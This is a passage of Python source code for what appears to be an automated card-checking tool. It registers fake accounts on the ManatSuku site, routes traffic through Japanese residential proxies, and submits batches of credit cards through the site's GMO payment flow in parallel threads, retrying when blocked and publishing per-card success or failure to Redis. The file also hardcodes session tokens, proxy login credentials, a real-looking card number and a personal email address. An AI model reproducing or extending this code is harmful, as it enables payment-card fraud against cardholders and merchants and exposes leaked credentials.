                            logger.error("注册失败")
                            self.result_queue.put((card_number, False, "session资源不足"))
                            return


                    if not proxy:
                        self.result_queue.put((card_number, False, "proxy资源不足"))
                        return
                    manat_api = ManatSuku()
                    manat_api.set_log_tab(log_tab)
                    formatted_expire = manat_api.validate_expire_date(expire)
                    if not formatted_expire:
                        self.result_queue.put((card_number, False, "过期日期无效"))
                        return
                    manat_api = ManatSuku(session_info["session"], "")
                    manat_api.set_log_tab(log_tab)
                    manat_api.set_proxies(**proxy)
                    if not manat_api.set_gmo_payment(card_number, holder_name, formatted_expire, card_company):
                        self.result_queue.put((card_number, False, "设置GMO支付信息失败"))
                        return

                    result = manat_api.main_payment_flow()
                    message = "验证成功" if result else "验证失败"
                    # if not result:
                    #     count = task.get("count", 0)
                    #     if count >=3:
                    #        self.result_queue.put((card_number, result, message))
                    #     else:
                    #        count=count+1
                    #        task["count"]=count
                    #        self.task_queue.put(task)
                    #        self._log("error","重试："+ str(task['count']))
                    if result:
                        redis_client.publish(str(self.user_id)+":"+"success", {"message": message,"card_number":card_number,"card_company":card_company})
                    else:
                        redis_client.publish(str(self.user_id) + ":" + "failed", {"message": message,"card_number":card_number,"card_company":card_company})
                    self.result_queue.put((card_number, result, message))

                except Exception as e:
                    count = task.get("count", 0)
                    if count >= 3:
                        self.result_queue.put((card_number, False, f"处理异常: {str(e)}"))
                    else:
                        count = count + 1
                        task["count"] = count
                        self.task_queue.put(task) #403重试
                        self._log('error', f"重试: {str(task['count'])}")
                    self._log('error', f"处理异常: {str(e)}")
                    #self.result_queue.put((card_number, False, f"处理异常: {str(e)}"))

                finally:

                    if session_info:
                         session_mgrs.loose_session(session_info["id"])

            finally:
                # 只有当task有效时才标记完成
                if task is not None:
                    self._log('debug', "标记任务完成")
                    self.task_queue.task_done()

def main(session_id, card_number, holder_name, expire, card_company, proxy_ip, proxy_port, proxy_username = "", proxy_password = "", session_manager = None) -> bool:
    """主函数"""
    # 验证并格式化过期日期
    formatted_expire = ManatSuku().validate_expire_date(expire)
    if not formatted_expire:
        return False
    logger.info("开始验证流程...")
    start_time = time.time()
    session_value = session_manager.get_session_by_id(session_id)
    if not session_value:
        logger.error(f"找不到ID为{session_id}的session")
        return False
    # 初始化API
    manat_api = ManatSuku(session_value, "")
    manat_api.set_proxies(proxy_ip, proxy_port, proxy_username, proxy_password)
    # 设置GMO支付信息
    if not manat_api.set_gmo_payment(card_number, holder_name, formatted_expire, card_company):
        logger.error("设置GMO支付信息失败")
        return False
    # 执行主流程
    result = manat_api.main_payment_flow()
    if manat_api.manatsuku_session != session_value:
        session_manager.update_session(session_id, manat_api.manatsuku_session)
        logger.info(f"已更新ID为{session_id}的session值")
    elapsed_time = time.time() - start_time
    logger.info(f"流程总耗时: {elapsed_time:.2f}秒")
    return result

def main_register(proxy_ip: str, proxy_port: str, lastname: str, firstname: str, email: str, password: str, proxy_username: str = "", proxy_password: str = "") -> Optional[str]:
    """主注册流程函数"""
    logger.info("开始注册流程...")
    start_time = time.time()
    # 初始化API
    manat_api = ManatSuku("", "")
    manat_api.set_proxies(proxy_ip, proxy_port, proxy_username, proxy_password)
    # 执行主注册流程
    session_token = manat_api.main_registration_flow(lastname, firstname, email, password)
    elapsed_time = time.time() - start_time
    logger.info(f"流程总耗时: {elapsed_time:.2f}秒")

    return session_token

def process_payments_multithreaded(card_data_list: List[Dict],
                                   user_id,filename,jp_name,thread_count: int = 1) -> List[Tuple[str, bool, str]]:
    """多线程验证

    Args:
        session_manager: 会话管理器
        proxy_manager: 代理池
        card_data_list: 卡片数据列表 (卡号, 持卡人, 有效期, 卡类型)
        thread_count: 线程数量

    Returns:
        处理结果列表 [(卡号, 是否成功, 消息)]
    """
    logger.info("\n=== 开始多线程验证 ===")
    logger.info(f"总任务数: {len(card_data_list)} | 线程数: {thread_count}")
    task_queue = Queue()
    result_queue = Queue()
    for card_data in card_data_list:
        task_queue.put(card_data)
    workers = []
    for i in range(thread_count):
        worker = PaymentWorker(
            task_queue,
            result_queue,
            user_id,
            filename,
            jp_name,
            i + 1
        )
        worker.start()
        workers.append(worker)
    task_queue.join()
    for _ in range(thread_count):
        task_queue.put(None)
    for worker in workers:
        worker.join()
    results = []
    while not result_queue.empty():
        results.append(result_queue.get())

    logger.info("\n=== 验证处理结果汇总 ===")
    success_count = sum(1 for r in results if r[1])
    logger.info(f"成功: {success_count} | 失败: {len(results) - success_count}")
    return results

if __name__ == "__main__":
    session_mgr = SessionManager([
        {"id": "session1", "session": "GMGZEMEY5bktOaU5IUXpNSmViWFFsSVh6cWhHNkVrTTl1bXE2TTFqRktsNW9YMXE0azV1Zlk5K3M1KzhWWnJidjBoNGJvcEc1c0xIN09hU2dsVThob3U1R1dXOFJWUUlBUFRLT0VDZFlEZEVTbnlVeE43MnJwSVF5RURkZ3IwWXdVMFpHR2ZLZHhzZEhKRmx6ZUZSN2xWVDNRd0pSM2dzMTB6RHVQT0g2QnRmZHR5c0dUUDh1MFEzRkhpc05rRGxrQkFXRFV4K1ZoU05yMENzYjI3TDAveldubVFGanlmZXBBR0hwVlVGV1MxV0haMi82b2Q5ejRaSjhCd2NESW9QU3BjTlF5WlhYQlhlTkp6dGR2MEJlZXNGSzYvWlVoell2VUlaR0hwYTdZSFZQV0dUaUhMWlNpdWltTWZGQm0yRnN4Y3ZTMU9SSElzbkxvc0RrTmxPQ2JoQ3o3bTMrT3JnUlNFTXBUKzVoMDEwZXZrU0crMUNjT2FRUTJkLS1LRmx6cFBVVFhNbjMwZ1VqblJ3c3NBPT0%3D--88c238dab647a27406886c9a7dcc6415e3246665"},
        {"id": "session2", "session": "OXpxV1N3QzhPc0tIeVhqQ3BBTm1zMWtzZ05DTXlneDdKR2dwR1NZTlNvU2VMbXVVNEVMUDE4VlUvTnFzc2xHVitJV0cvcEhOTzNnUEJPYldNeUZ5WDRmcnpmWGtLdVFBT1NZbFFteXVaU0V6anNwN0phQ0ROd3dCa1FtbzF4NVpRd1RHNWVGOEo2d2crcjdpSEJzdWdPUFJqMUtPM1BKVHJMYy9wbkh6OWVvWkF2UnhKdy80TGM5My9CRE5qZ0s2L1lIK1UxcVFDM2xlYy9zTzdzL3ZmbFU5QnlxRjFodlRVWmlYNkh0TVRGUHl2QnY0a1BiWldaT013bHBha1AwaFZXZWxwRUJ4UUVyQWFTei9CWVNvWGc9PS0tNHlxRzVWZ0FXKzB4c1VuS3diSThFZz09--8429f64ae794824ce8355bd6be71a5bfd2e9a740"},
        # {"id": "session3", "session": "RXhaSHFFWG1QOWliRTZZSElMRXpBL0NwM3lpbGk3MzRmQUhCNytXLzR6RVIrcW9SelhBNnVJZXVPQno1Q0xaUVlFTGhuUU9wcnVPekN1eHZnZGI3NFZzMzFKSVhmQjRUekdBeTZKOEZHWG1Nb1E4Umg4SWRTamFGZXB2ZnJUa0dRdHRLSEZVUHFvcytjeGFwQ0VtWTUwOXV1TC9VNnE4Uy8za1c4UDFKS2dYS2JjZnl3M2prWEVNaTVoakNoWktqNFZhT3p1QkFaMkNXM3pEK3kweWVibzNuMk5aVkpYL2hOSmg0Z01ucjQ3MkpsMHJ6UFpGSC8xMGpDQTdzU2tHaDI5c09LS0tERTZpcGwvbkRZRTRRUTZpLzFZaE9oeTJFRDhlSkdyNXJPdHdaMnV3Nk85N2xYUkdOeEFmSjdjVmtmdjlUTTF4K085UmhvWFczMEdKME5VMUZFMVhZM2dKMmU0dXh3S2liYXYzQ1IvTFJZTTJUQi90NDR6RUN4ME9rLS1IZ1VOaHBaTDNjUGdGSTR5eXYvMGNBPT0%3D--9314d6ef66d4990ddc9f33a425637c3dedaf6aa9"},
        # {"id": "session4", "session": "V1hMSFlJL3B2QW5maGpMYWdnUVhyb2dmMkloc3pCWkF6am5GbDRpVVJDTmdWUEdqdHN2Snk4MUg4ZWo3Z2YxRVk3eTZjZ2FPOTlMMUJWM3ZiaGRvTjFYRTA5cWI3WXEwZkthRE5Ha3Y4dDlFcGtFRlRCY0lBeTFhdFd6NlNVUkpPSXJZWHJNSlRjcXZGNnVabmNwaUNyc3d3MHI4SDN6YUhRUVNPbTB3SVRMeUFiV1NTTUJrS2FQMThldEorT05wOG1UQnhGVGRON3RUdE1xMy9GQ0tiNzRJbG9QbnJ5QS8vK05KWjBFeUhZc2JVak1Qd0FhZFJDcnVLdjRYU1YyWjNHMWtKRVY4NGQ0K2pmVFh0SU10ekMrYkhrWkYyN0dQaGE2Z29jNlNzTVNGMEg0Wjcrc0kxYjBwOW5iTXRBYjllNW1wSlFxbnJmZ1dWMzZzcjFaMDN0UzM2a3pVYVhMV3M4Q2lLYW43YmJkdTdRdkx5aEcvWDZSTW45OS8wRmVHLS01NFZQUHp4VUZtUTNmaTlUWW83Q2FRPT0%3D--5e6795e541dae04ef4b11973bfa9dab2321495d1"},

    ])

    proxy_mgr = ProxyManager([
        {'ip': '24fd2a4e70b435d6.xji.na.novada.pro24fd2a4e70b435d6.xji.na.novada.pro', 'port': '7777', 'username': 'novada309zkB_ynaP3U-zone-resi-region-jp', 'password': 'wMiwCpuXV5he'}
    ])

    # 测试信用卡数据
    test_cards = [
        ("4111111111111111", "sanda1", "122025", "VISA"),
        ("5111111111111111", "faja2", "032024", "MASTER"),
        ("3711111111111111", "caga3", "052026", "AMEX")
    ]

    results = process_payments_multithreaded(
        session_manager=session_mgr,
        proxy_manager=proxy_mgr,
        card_data_list=test_cards,
        thread_count=2
    )

    # # 配置代理信息
    PROXY_IP = '24fd2a4e70b435d6.xji.na.novada.pro24fd2a4e70b435d6.xji.na.novada.pro'
    PROXY_PORT = '7777'
    PROXY_USERNAME = 'novada309zkB_ynaP3U-zone-resi-region-jp'
    PROXY_PASSWORD = 'wMiwCpuXV5he'
    # #
    # # 示例用法 - 验证流程
    PAYMENT_EXAMPLE = False
    if PAYMENT_EXAMPLE:
        SESSION = 'session4'
        CARD_NUMBER = '5399880058108200'
        HOLDER_NAME = 'likgan'
        EXPIRE = '202512'
        CARD_COMPANY = 'visa'

        payment_result = main(
            SESSION,
            CARD_NUMBER,
            HOLDER_NAME,
            EXPIRE,
            CARD_COMPANY,
            PROXY_IP,
            PROXY_PORT,
            PROXY_USERNAME,
            PROXY_PASSWORD,
            session_mgr
        )
        logger.info(f"验证结果: {'成功' if payment_result else '失败'}")
    # 示例用法 - 注册流程
    REGISTER_EXAMPLE = False
    if REGISTER_EXAMPLE:
        LASTNAME = 'lujing'
        FIRSTNAME = 'likgan'
        EMAIL = 'likganluchang@gmail.com'
        PASSWORD = '12345678'

        new_session = main_register(
            PROXY_IP,
            PROXY_PORT,
            LASTNAME,
            FIRSTNAME,
            EMAIL,
            PASSWORD,
            PROXY_USERNAME,
            PROXY_PASSWORD
        )
        if new_session:
            logger.info(f"注册成功，获取到的session token: {new_session}")
        else:
            logger.error("注册失败")




def do_register(result,user_id,filename):


    if not session_mgrs.session_list:
       first_names = NameGenerator.random_first_name()
       last_names = NameGenerator.random_last_name()
       email = EmailGenerator.generate()
       passwd = generate_random_string()
       register_session = main_register(
            os.getenv("PROXY_IP"),
            os.getenv("PROXY_PORT"),
            last_names,
            first_names,
            email,
            passwd,
            os.getenv("PROXY_USERNAME"),
            os.getenv("PROXY_PASSWORD")
        )
       jp_names = CardNameFormatter.jp_to_ascii_upper(f"{last_names}{first_names}")
       if register_session:
            logger.info(f"注册成功，获取到的session token: {register_session}")
            session_mgrs.add_session(jp_names, register_session)
       else:
            logger.error("注册失败")
            return
    else:
        jp_names = generate_random_string()

    results = process_payments_multithreaded(result, user_id, filename,jp_name=jp_names)
    # 数据库记录
